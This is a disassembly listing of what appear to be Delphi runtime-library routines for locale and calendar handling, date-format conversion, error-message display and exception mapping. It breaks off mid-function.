sub_4000AAF4 proc near ; CODE XREF: sub_4000BE64+31p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0
push esi
xor eax, eax
push ebp
push offset loc_4000AB8B
push dword ptr fs:[eax]
mov fs:[eax], esp
lea eax, [ebp+var_4]
push eax
call sub_400065C8 ; GetThreadLocale
mov ecx, offset dword_4000ABA0
mov edx, 100Bh
call sub_4000A868
mov eax, [ebp+var_4]
mov edx, 1
call sub_40007DD4
mov esi, eax
mov eax, esi
add eax, 0FFFFFFFDh
sub eax, 3
jnb short loc_4000AB75
push 4
push esi
call sub_400065C8 ; GetThreadLocale
push eax
push offset sub_4000AA40
call sub_40006528 ; EnumCalendarInfoA
mov edx, 7
mov eax, offset dword_4001E8F4
loc_4000AB56: ; CODE XREF: sub_4000AAF4+6Cj
mov dword ptr [eax], 0FFFFFFFFh
add eax, 4
dec edx
jnz short loc_4000AB56
push 3
push esi
call sub_400065C8 ; GetThreadLocale
push eax
push offset sub_4000AA7C
call sub_40006528 ; EnumCalendarInfoA
loc_4000AB75: ; CODE XREF: sub_4000AAF4+43j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000AB92
loc_4000AB82: ; CODE XREF: sub_4000AAF4+9Cj
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000AB8B: ; DATA XREF: sub_4000AAF4+9o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000AB82
; ---------------------------------------------------------------------------
loc_4000AB92: ; CODE XREF: sub_4000AAF4+96j
; DATA XREF: sub_4000AAF4+89o
pop esi
pop ecx
pop ebp
retn
sub_4000AAF4 endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 1
dword_4000ABA0 dd 31h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000ABA4 proc near ; CODE XREF: sub_4000BE64+11Cp
; sub_4000BE64+149p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
xor eax, eax
push ebp
push offset loc_4000AD74
push dword ptr fs:[eax]
mov fs:[eax], esp
mov ebx, 1
mov eax, edi
call sub_40004884
lea eax, [ebp+var_8]
push eax
call sub_400065C8 ; GetThreadLocale
mov ecx, offset dword_4000AD8C
mov edx, 1009h
call sub_4000A868
mov eax, [ebp+var_8]
mov edx, 1
call sub_40007DD4
add eax, 0FFFFFFFDh
sub eax, 3
jb loc_4000AD4A
mov eax, ds:dword_4001E8CC
sub eax, 4
jz short loc_4000AC16
add eax, 0FFFFFFF3h
sub eax, 2
jb short loc_4000AC16
xor eax, eax
jmp short loc_4000AC18
; ---------------------------------------------------------------------------
loc_4000AC16: ; CODE XREF: sub_4000ABA4+64j
; sub_4000ABA4+6Cj
mov al, 1
loc_4000AC18: ; CODE XREF: sub_4000ABA4+70j
test al, al
jz short loc_4000AC53
jmp short loc_4000AC43
; ---------------------------------------------------------------------------
loc_4000AC1E: ; CODE XREF: sub_4000ABA4+A8j
movzx eax, byte ptr [esi+ebx-1]
sub al, 47h
jz short loc_4000AC42
sub al, 20h
jz short loc_4000AC42
lea eax, [ebp+var_C]
movzx edx, byte ptr [esi+ebx-1]
call sub_40004A6C
mov edx, [ebp+var_C]
mov eax, edi
call sub_40004B50
loc_4000AC42: ; CODE XREF: sub_4000ABA4+81j
; sub_4000ABA4+85j
inc ebx
loc_4000AC43: ; CODE XREF: sub_4000ABA4+78j
mov eax, esi
call sub_40004B44
cmp ebx, eax
jle short loc_4000AC1E
jmp loc_4000AD59
; ---------------------------------------------------------------------------
loc_4000AC53: ; CODE XREF: sub_4000ABA4+76j
mov eax, edi
mov edx, esi
call sub_400048D8
jmp loc_4000AD59
; ---------------------------------------------------------------------------
loc_4000AC61: ; CODE XREF: sub_4000ABA4+1AFj
movzx eax, byte ptr [esi+ebx-1]
movzx eax, al
bt dword_4001A82C, eax
jnb short loc_4000ACA0
mov edx, ebx
mov eax, esi
call sub_4000BB88
mov [ebp+var_4], eax
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_4]
mov edx, ebx
mov eax, esi
call sub_40004DA8
mov edx, [ebp+var_10]
mov eax, edi
call sub_40004B50
add ebx, [ebp+var_4]
jmp loc_4000AD4A
; ---------------------------------------------------------------------------
loc_4000ACA0: ; CODE XREF: sub_4000ABA4+CCj
mov edx, offset dword_4000AD90
lea eax, [esi+ebx-1]
mov ecx, 2
call sub_400081E0
test eax, eax
jnz short loc_4000ACC9
mov eax, edi
mov edx, offset dword_4000AD9C
call sub_40004B50
inc ebx
jmp loc_4000AD49
; ---------------------------------------------------------------------------
loc_4000ACC9: ; CODE XREF: sub_4000ABA4+111j
mov edx, offset aYyyy_0 ; "yyyy"
lea eax, [esi+ebx-1]
mov ecx, 4
call sub_400081E0
test eax, eax
jnz short loc_4000ACF1
mov eax, edi
mov edx, offset aEeee ; "eeee"
call sub_40004B50
add ebx, 3
jmp short loc_4000AD49
; ---------------------------------------------------------------------------
loc_4000ACF1: ; CODE XREF: sub_4000ABA4+13Aj
mov edx, offset aYy ; "yy"
lea eax, [esi+ebx-1]
mov ecx, 2
call sub_400081E0
test eax, eax
jnz short loc_4000AD17
mov eax, edi
mov edx, offset dword_4000ADC4
call sub_40004B50
inc ebx
jmp short loc_4000AD49
; ---------------------------------------------------------------------------
loc_4000AD17: ; CODE XREF: sub_4000ABA4+162j
movzx eax, byte ptr [esi+ebx-1]
sub al, 59h
jz short loc_4000AD24
sub al, 20h
jnz short loc_4000AD32
loc_4000AD24: ; CODE XREF: sub_4000ABA4+17Aj
mov eax, edi
mov edx, offset dword_4000ADD0
call sub_40004B50
jmp short loc_4000AD49
; ---------------------------------------------------------------------------
loc_4000AD32: ; CODE XREF: sub_4000ABA4+17Ej
lea eax, [ebp+var_14]
movzx edx, byte ptr [esi+ebx-1]
call sub_40004A6C
mov edx, [ebp+var_14]
mov eax, edi
call sub_40004B50
loc_4000AD49: ; CODE XREF: sub_4000ABA4+120j
; sub_4000ABA4+14Bj ...
inc ebx
loc_4000AD4A: ; CODE XREF: sub_4000ABA4+56j
; sub_4000ABA4+F7j
mov eax, esi
call sub_40004B44
cmp ebx, eax
jle loc_4000AC61
loc_4000AD59: ; CODE XREF: sub_4000ABA4+AAj
; sub_4000ABA4+B8j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000AD7B
loc_4000AD66: ; CODE XREF: sub_4000ABA4+1D5j
lea eax, [ebp+var_14]
mov edx, 4
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_4000AD74: ; DATA XREF: sub_4000ABA4+14o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000AD66
; ---------------------------------------------------------------------------
loc_4000AD7B: ; CODE XREF: sub_4000ABA4+1CFj
; DATA XREF: sub_4000ABA4+1BDo
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000ABA4 endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 1
dword_4000AD8C dd 31h dword_4000AD90 dd 6767h, 0FFFFFFFFh, 3dword_4000AD9C dd 676767h aYyyy_0 db 'yyyy',0 ; DATA XREF: sub_4000ABA4:loc_4000ACC9o
align 4
dd 0FFFFFFFFh, 4
aEeee db 'eeee',0 ; DATA XREF: sub_4000ABA4+13Eo
align 4
aYy db 'yy',0 ; DATA XREF: sub_4000ABA4:loc_4000ACF1o
align 4
dd 0FFFFFFFFh, 2
dword_4000ADC4 dd 6565h, 0FFFFFFFFh, 1dword_4000ADD0 dd 65h
; =============== S U B R O U T I N E =======================================
sub_4000ADD4 proc near ; CODE XREF: sub_4000ADE0+63p
test eax, eax
jz short locret_4000ADDD
sub eax, 1000h
locret_4000ADDD: ; CODE XREF: sub_4000ADD4+2j
retn
sub_4000ADD4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000ADE0 proc near ; CODE XREF: sub_4000AF68+Fp
var_458 = byte ptr -458h
var_358 = dword ptr -358h
var_354 = byte ptr -354h
var_350 = dword ptr -350h
var_34C = byte ptr -34Ch
var_348 = dword ptr -348h
var_344 = byte ptr -344h
var_340 = dword ptr -340h
var_33C = byte ptr -33Ch
var_338 = dword ptr -338h
var_334 = byte ptr -334h
var_330 = byte ptr -330h
var_32C = dword ptr -32Ch
var_320 = dword ptr -320h
var_312 = byte ptr -312h
var_212 = byte ptr -212h
var_10D = byte ptr -10Dh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFBA8h
push ebx
push esi
push edi
mov [ebp+var_4], ecx
mov ebx, edx
mov esi, eax
push 1Ch
lea eax, [ebp+var_330]
push eax
push ebx
call sub_40006648 ; VirtualQuery
cmp [ebp+var_320], 1000h
jnz short loc_4000AE2A
push 105h
lea eax, [ebp+var_212]
push eax
mov eax, [ebp+var_32C]
push eax
call sub_40006598 ; GetModuleFileNameA
test eax, eax
jnz short loc_4000AE4D
loc_4000AE2A: ; CODE XREF: sub_4000ADE0+2Cj
push 105h
lea eax, [ebp+var_212]
push eax
mov eax, ds:dword_4001E7F8
push eax
call sub_40006598 ; GetModuleFileNameA
mov eax, ebx
call sub_4000ADD4
mov [ebp+var_8], eax
jmp short loc_4000AE56
; ---------------------------------------------------------------------------
loc_4000AE4D: ; CODE XREF: sub_4000ADE0+48j
sub ebx, [ebp+var_32C]
mov [ebp+var_8], ebx
loc_4000AE56: ; CODE XREF: sub_4000ADE0+6Bj
lea eax, [ebp+var_212]
mov dl, 5Ch
call sub_4000BCD0
mov edx, eax
inc edx
lea eax, [ebp+var_10D]
mov ecx, 104h
call sub_40008184
mov ebx, offset dword_4000AF60
mov edi, offset dword_4000AF60
mov eax, esi
mov edx, ds:off_40006DE0
call sub_40003E74
test al, al
jz short loc_4000AEB2
mov eax, [esi+4]
call sub_40004D48
mov ebx, eax
mov eax, ebx
call sub_4000815C
test eax, eax
jz short loc_4000AEB2
cmp byte ptr [ebx+eax-1], 2Eh
jz short loc_4000AEB2
mov edi, offset dword_4000AF64
loc_4000AEB2: ; CODE XREF: sub_4000ADE0+AFj
; sub_4000ADE0+C4j ...
push 100h
lea eax, [ebp+var_312]
push eax
mov eax, off_4001B0B8
mov eax, [eax+4]
push eax
mov eax, ds:dword_4001E7F8
call sub_40005C08
push eax
call sub_40006738 ; LoadStringA
lea edx, [ebp+var_458]
mov eax, [esi]
call sub_40003C6C
lea eax, [ebp+var_458]
mov [ebp+var_358], eax
mov [ebp+var_354], 4
lea eax, [ebp+var_10D]
mov [ebp+var_350], eax
mov [ebp+var_34C], 6
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov [ebp+var_344], 5
mov [ebp+var_340], ebx
mov [ebp+var_33C], 6
mov [ebp+var_338], edi
mov [ebp+var_334], 6
lea eax, [ebp+var_358]
push eax
push 4
lea ecx, [ebp+var_312]
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4]
call sub_4000868C
mov eax, [ebp+var_4]
call sub_4000815C
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
sub_4000ADE0 endp
; ---------------------------------------------------------------------------
align 10h
dword_4000AF60 dd 0 ; sub_4000ADE0+9Bo
dword_4000AF64 dd 2Eh
; =============== S U B R O U T I N E =======================================
sub_4000AF68 proc near ; CODE XREF: sub_4000B71Cp
var_444 = byte ptr -444h
var_440 = byte ptr -440h
var_400 = byte ptr -400h
add esp, 0FFFFFBBCh
push 400h
lea ecx, [esp+448h+var_400]
call sub_4000ADE0
mov eax, off_4001B048
cmp byte ptr [eax], 0
jz short loc_4000AFE4
mov eax, off_4001AF4C
call sub_400033D8
call sub_40002D5C
lea eax, [esp+444h+var_400]
push eax
lea eax, [esp+448h+var_400]
push eax
call sub_40006710 ; CharToOemA
push 0
lea eax, [esp+448h+var_444]
push eax
lea eax, [esp+44Ch+var_400]
call sub_4000815C
push eax
lea eax, [esp+450h+var_400]
push eax
push 0FFFFFFF4h
call sub_400065B0 ; GetStdHandle
push eax
call sub_40006660 ; WriteFile
push 0
lea eax, [esp+448h+var_444]
push eax
push 2
push offset dword_4000B02C
push 0FFFFFFF4h
call sub_400065B0 ; GetStdHandle
push eax
call sub_40006660 ; WriteFile
jmp short loc_4000B01A
; ---------------------------------------------------------------------------
loc_4000AFE4: ; CODE XREF: sub_4000AF68+1Cj
push 40h
lea eax, [esp+448h+var_440]
push eax
mov eax, off_4001AF28
mov eax, [eax+4]
push eax
mov eax, ds:dword_4001E7F8
call sub_40005C08
push eax
call sub_40006738 ; LoadStringA
push 2010h
lea eax, [esp+448h+var_440]
push eax
lea eax, [esp+44Ch+var_400]
push eax
push 0
call sub_40006740 ; MessageBoxA
loc_4000B01A: ; CODE XREF: sub_4000AF68+7Aj
add esp, 444h
retn
sub_4000AF68 endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 2
dword_4000B02C dd 0A0Dh
; =============== S U B R O U T I N E =======================================
sub_4000B030 proc near ; CODE XREF: sub_4000B230+32p
; sub_4000B2B0+36p ...
push ebx
push esi
push edi
test dl, dl
jz short loc_4000B03F
add esp, 0FFFFFFF0h
call sub_40003F30
loc_4000B03F: ; CODE XREF: sub_4000B030+5j
mov esi, ecx
mov ebx, edx
mov edi, eax
lea eax, [edi+4]
mov edx, esi
call sub_400048D8
mov eax, edi
test bl, bl
jz short loc_4000B064
call sub_40003F88
pop large dword ptr fs:0
add esp, 0Ch
loc_4000B064: ; CODE XREF: sub_4000B030+23j
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_4000B030 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000B06C proc near ; CODE XREF: sub_4000B300+77p
; sub_4000B488+127p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
test dl, dl
jz short loc_4000B080
add esp, 0FFFFFFF0h
call sub_40003F30
loc_4000B080: ; CODE XREF: sub_4000B06C+Aj
mov esi, ecx
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push offset loc_4000B0C6
push dword ptr fs:[eax]
mov fs:[eax], esp
lea eax, [ebp+var_4]
push eax
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_0]
mov eax, esi
call sub_400086CC
mov edx, [ebp+var_4]
lea eax, [edi+4]
call sub_400048D8
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000B0CD
loc_4000B0BD: ; CODE XREF: sub_4000B06C+5Fj
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000B0C6: ; DATA XREF: sub_4000B06C+1Do
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000B0BD
; ---------------------------------------------------------------------------
loc_4000B0CD: ; CODE XREF: sub_4000B06C+59j
; DATA XREF: sub_4000B06C+4Co
mov eax, edi
test bl, bl
jz short loc_4000B0E2
call sub_40003F88
pop large dword ptr fs:0
add esp, 0Ch
loc_4000B0E2: ; CODE XREF: sub_4000B06C+65j
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn 8
sub_4000B06C endp
; =============== S U B R O U T I N E =======================================
sub_4000B0EC proc near ; CODE XREF: sub_4000B3D8+Dp
; sub_4000B72C+Dp ...
push ebx
push esi
push edi
test dl, dl
jz short loc_4000B0FB
add esp, 0FFFFFFF0h
call sub_40003F30
loc_4000B0FB: ; CODE XREF: sub_4000B0EC+5j
mov esi, ecx
mov ebx, edx
mov edi, eax
lea edx, [edi+4]
mov eax, esi
call sub_400062F0
mov eax, edi
test bl, bl
jz short loc_4000B120
call sub_40003F88
pop large dword ptr fs:0
add esp, 0Ch
loc_4000B120: ; CODE XREF: sub_4000B0EC+23j
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_4000B0EC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000B128 proc near ; CODE XREF: sub_40007998+14p
; sub_4000B230+51p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
push edi
test dl, dl
jz short loc_4000B13E
add esp, 0FFFFFFF0h
call sub_40003F30
loc_4000B13E: ; CODE XREF: sub_4000B128+Cj
mov esi, ecx
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push offset loc_4000B194
push dword ptr fs:[eax]
mov fs:[eax], esp
lea eax, [ebp+var_4]
push eax
lea edx, [ebp+var_8]
mov eax, esi
call sub_400062F0
mov eax, [ebp+var_8]
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_0]
call sub_400086CC
mov edx, [ebp+var_4]
lea eax, [edi+4]
call sub_400048D8
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000B19B
loc_4000B186: ; CODE XREF: sub_4000B128+71j
lea eax, [ebp+var_8]
mov edx, 2
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_4000B194: ; DATA XREF: sub_4000B128+1Fo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000B186
; ---------------------------------------------------------------------------
loc_4000B19B: ; CODE XREF: sub_4000B128+6Bj
; DATA XREF: sub_4000B128+59o
mov eax, edi
test bl, bl
jz short loc_4000B1B0
call sub_40003F88
pop large dword ptr fs:0
add esp, 0Ch
loc_4000B1B0: ; CODE XREF: sub_4000B128+77j
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
retn 8
sub_4000B128 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000B1BC proc near ; CODE XREF: sub_40015EE4+84p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
test dl, dl
jz short loc_4000B1CE
add esp, 0FFFFFFF0h
call sub_40003F30
loc_4000B1CE: ; CODE XREF: sub_4000B1BC+8j
mov esi, ecx
mov ebx, edx
mov edi, eax
lea eax, [edi+4]
mov edx, esi
call sub_400048D8
mov eax, [ebp+arg_0]
mov [edi+8], eax
mov eax, edi
test bl, bl
jz short loc_4000B1F9
call sub_40003F88
pop large dword ptr fs:0
add esp, 0Ch
loc_4000B1F9: ; CODE XREF: sub_4000B1BC+2Cj
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 4
sub_4000B1BC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000B204 proc near ; DATA XREF: .text:40006E8Co
; .text:40006EE8o ...
cmp byte ptr [eax+0Ch], 0
jz short locret_4000B20F
call sub_40003C9C
locret_4000B20F: ; CODE XREF: sub_4000B204+4j
retn
sub_4000B204 endp
; ---------------------------------------------------------------------------
off_4000B210 dd offset dword_4000B214 ; DATA XREF: sub_4000CC50+151r
dword_4000B214 dd 4554090Eh, 726F7272h, 8636552h, 1000000h db 3 dup(0)
dd offset off_40001000
db 4
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000B230 proc near ; CODE XREF: sub_4000B2B0:loc_4000B2EFp
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
push ebx
push esi
add esp, 0FFFFFFF8h
xor ebx, ebx
call sub_40002DDC
mov esi, eax
jmp short loc_4000B241
; ---------------------------------------------------------------------------
loc_4000B240: ; CODE XREF: sub_4000B230+1Dj
inc ebx
loc_4000B241: ; CODE XREF: sub_4000B230+Ej
cmp ebx, 6
jg short loc_4000B24F
cmp esi, dword_4001A91C[ebx*8]
jnz short loc_4000B240
loc_4000B24F: ; CODE XREF: sub_4000B230+14j
cmp ebx, 6
jg short loc_4000B269
mov ecx, dword_4001A920[ebx*8]
mov dl, 1
mov eax, ds:off_40006F00
call sub_4000B030
jmp short loc_4000B286
; ---------------------------------------------------------------------------
loc_4000B269: ; CODE XREF: sub_4000B230+22j
mov [esp+10h+var_10], esi
mov [esp+10h+var_C], 0
push esp
push 0
mov ecx, off_4001AF24
mov dl, 1
mov eax, ds:off_40006F00
call sub_4000B128
loc_4000B286: ; CODE XREF: sub_4000B230+37j
mov [eax+0Ch], esi
pop ecx
pop edx
pop esi
pop ebx
retn
sub_4000B230 endp
; ---------------------------------------------------------------------------
align 10h
off_4000B290 dd offset dword_4000B294 ; DATA XREF: sub_4000CC50+166r
dword_4000B294 dd 45540A0Eh, 70656378h, 63655274h, 8, 1 dd offset off_40001000
dd 4
; =============== S U B R O U T I N E =======================================
sub_4000B2B0 proc near ; CODE XREF: sub_40002D04+16p
; DATA XREF: sub_4000B72C+33o ...
push ebx
mov ebx, edx
mov edx, eax
dec dl
jz short loc_4000B2C5
dec dl
jz short loc_4000B2CD
dec edx
sub dl, 16h
jb short loc_4000B2D5
jmp short loc_4000B2EF
; ---------------------------------------------------------------------------
loc_4000B2C5: ; CODE XREF: sub_4000B2B0+7j
mov edx, ds:dword_4001E91C
jmp short loc_4000B2F6
; ---------------------------------------------------------------------------
loc_4000B2CD: ; CODE XREF: sub_4000B2B0+Bj
mov edx, ds:dword_4001E920
jmp short loc_4000B2F6
; ---------------------------------------------------------------------------
loc_4000B2D5: ; CODE XREF: sub_4000B2B0+11j
movzx eax, al
lea eax, dword_4001A93C[eax*8]
mov ecx, [eax+4]
mov eax, [eax]
mov dl, 1
call sub_4000B030
mov edx, eax
jmp short loc_4000B2F6
; ---------------------------------------------------------------------------
loc_4000B2EF: ; CODE XREF: sub_4000B2B0+13j
call sub_4000B230
mov edx, eax
loc_4000B2F6: ; CODE XREF: sub_4000B2B0+1Bj
; sub_4000B2B0+23j ...
push ebx
mov eax, edx
jmp sub_400042E4
sub_4000B2B0 endp
; ---------------------------------------------------------------------------
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000B300 proc near ; CODE XREF: sub_4000B3BC+3p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
xor ebx, ebx
mov [ebp+var_20], ebx
mov [ebp+var_4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_4000B39C
push dword ptr fs:[eax]
mov fs:[eax], esp
test ebx, ebx
jz short loc_4000B335
lea eax, [ebp+var_4]
mov edx, ebx
call sub_4000491C
jmp short loc_4000B342
; ---------------------------------------------------------------------------
loc_4000B335: ; CODE XREF: sub_4000B300+27j
lea edx, [ebp+var_4]
mov eax, off_4001B038
call sub_400062F0
loc_4000B342: ; CODE XREF: sub_4000B300+33j
mov eax, [ebp+var_4]
mov [ebp+var_1C], eax
mov [ebp+var_18], 0Bh
mov [ebp+var_14], esi
mov [ebp+var_10], 0Bh
mov [ebp+var_C], edi
mov [ebp+var_8], 0
lea eax, [ebp+var_1C]
push eax
push 2
lea edx, [ebp+var_20]
mov eax, off_4001B06C
call sub_400062F0
mov ecx, [ebp+var_20]
mov dl, 1
mov eax, ds:off_40007608
call sub_4000B06C
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000B3A3
loc_4000B38B: ; CODE XREF: sub_4000B300+A1j
lea eax, [ebp+var_20]
call sub_40004884
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000B39C: ; DATA XREF: sub_4000B300+1Ao
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000B38B
; ---------------------------------------------------------------------------
loc_4000B3A3: ; CODE XREF: sub_4000B300+9Bj
; DATA XREF: sub_4000B300+86o
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000B300 endp
; =============== S U B R O U T I N E =======================================
sub_4000B3AC proc near ; CODE XREF: sub_4000B3BC+11p
mov esp, ecx
mov [esp+0], edx
mov ebp, [ebp+0]
jmp sub_400042E4
sub_4000B3AC endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000B3BC proc near ; DATA XREF: sub_4000B72C+67o
; .bss:off_4001C024o
arg_0 = dword ptr 8
push ebp
mov ebp, esp
call sub_4000B300
lea ecx, [ebp+arg_0]
add ecx, 4
mov edx, [ebp+arg_0]
call sub_4000B3AC
pop ebp
retn 4
sub_4000B3BC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000B3D8 proc near ; CODE XREF: sub_400030B4+9p
; DATA XREF: sub_4000B72C+74o ...
mov ecx, off_4001AF40
mov dl, 1
mov eax, ds:off_40007668
call sub_4000B0EC
call sub_400042E4
retn
sub_4000B3D8 endp
; =============== S U B R O U T I N E =======================================
sub_4000B3F0 proc near ; CODE XREF: sub_4000B470+5p
; sub_4000B654+20p
mov eax, [eax]
cmp eax, 0C0000092h
jg short loc_4000B425
jz short loc_4000B454
cmp eax, 0C000008Eh
jg short loc_4000B417
jz short loc_4000B457
sub eax, 0C0000005h
jz short loc_4000B460
sub eax, 87h
jz short loc_4000B44E
dec eax
jz short loc_4000B45D
jmp short loc_4000B46C
; ---------------------------------------------------------------------------
loc_4000B417: ; CODE XREF: sub_4000B3F0+10j
add eax, 3FFFFF71h
sub eax, 2
jb short loc_4000B454
jz short loc_4000B45A
jmp short loc_4000B46C
; ---------------------------------------------------------------------------
loc_4000B425: ; CODE XREF: sub_4000B3F0+7j
cmp eax, 0C0000096h
jg short loc_4000B43D
jz short loc_4000B463
sub eax, 0C0000093h
jz short loc_4000B45D
dec eax
jz short loc_4000B44B
dec eax
jz short loc_4000B451
jmp short loc_4000B46C
; ---------------------------------------------------------------------------
loc_4000B43D: ; CODE XREF: sub_4000B3F0+3Aj
sub eax, 0C00000FDh
jz short loc_4000B469
sub eax, 3Dh
jz short loc_4000B466
jmp short loc_4000B46C
; ---------------------------------------------------------------------------
loc_4000B44B: ; CODE XREF: sub_4000B3F0+46j
mov al, 3
retn
; ---------------------------------------------------------------------------
loc_4000B44E: ; CODE XREF: sub_4000B3F0+20j
mov al, 4
retn
; ---------------------------------------------------------------------------
loc_4000B451: ; CODE XREF: sub_4000B3F0+49j
mov al, 5
retn
; ---------------------------------------------------------------------------
loc_4000B454: ; CODE XREF: sub_4000B3F0+9j
; sub_4000B3F0+2Fj
mov al, 6
retn
; ---------------------------------------------------------------------------
loc_4000B457: ; CODE XREF: sub_4000B3F0+12j
mov al, 7
retn
; ---------------------------------------------------------------------------
loc_4000B45A: ; CODE XREF: sub_4000B3F0+31j
mov al, 8
retn
; ---------------------------------------------------------------------------
loc_4000B45D: ; CODE XREF: sub_4000B3F0+23j
; sub_4000B3F0+43j
mov al, 9
retn
; ---------------------------------------------------------------------------
loc_4000B460: ; CODE XREF: sub_4000B3F0+19j
mov al, 0Bh
retn
; ---------------------------------------------------------------------------
loc_4000B463: ; CODE XREF: sub_4000B3F0+3Cj
mov al, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4000B466: ; CODE XREF: sub_4000B3F0+57j
mov al, 0Dh
retn
; ---------------------------------------------------------------------------
loc_4000B469: ; CODE XREF: sub_4000B3F0+52j
mov al, 0Eh
retn
; ---------------------------------------------------------------------------
loc_4000B46C: ; CODE XREF: sub_4000B3F0+25j
; sub_4000B3F0+33j ...
mov al, 16h
retn
sub_4000B3F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000B470 proc near ; DATA XREF: sub_4000B72C+56o
; .bss:off_4001C00Co
push ebx
mov ebx, eax
mov eax, ebx
call sub_4000B3F0
movzx eax, al
mov eax, dword_4001A93C[eax*8]
pop ebx
retn
sub_4000B470 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000B488 proc near ; CODE XREF: sub_4000B654+52p
var_170 = dword ptr -170h
var_16C = dword ptr -16Ch
var_168 = byte ptr -168h
var_164 = dword ptr -164h
var_160 = byte ptr -160h
var_15C = dword ptr -15Ch
var_158 = byte ptr -158h
var_154 = dword ptr -154h
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_144 = byte ptr -144h
var_140 = dword ptr -140h
var_13C = byte ptr -13Ch
var_138 = dword ptr -138h
var_134 = byte ptr -134h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_125 = byte ptr -125h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFE90h
push ebx
push esi
xor eax, eax
mov [ebp+var_170], eax
mov [ebp+var_14C], eax
mov [ebp+var_154], eax
mov [ebp+var_150], eax
mov [ebp+var_4], eax
xor eax, eax
push ebp
push offset loc_4000B643
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+arg_0]
mov ebx, [eax-4]
cmp dword ptr [ebx+14h], 0
jnz short loc_4000B4D9
lea edx, [ebp+var_4]
mov eax, off_4001B0CC
call sub_400062F0
jmp short loc_4000B4E6
; ---------------------------------------------------------------------------
loc_4000B4D9: ; CODE XREF: sub_4000B488+40j
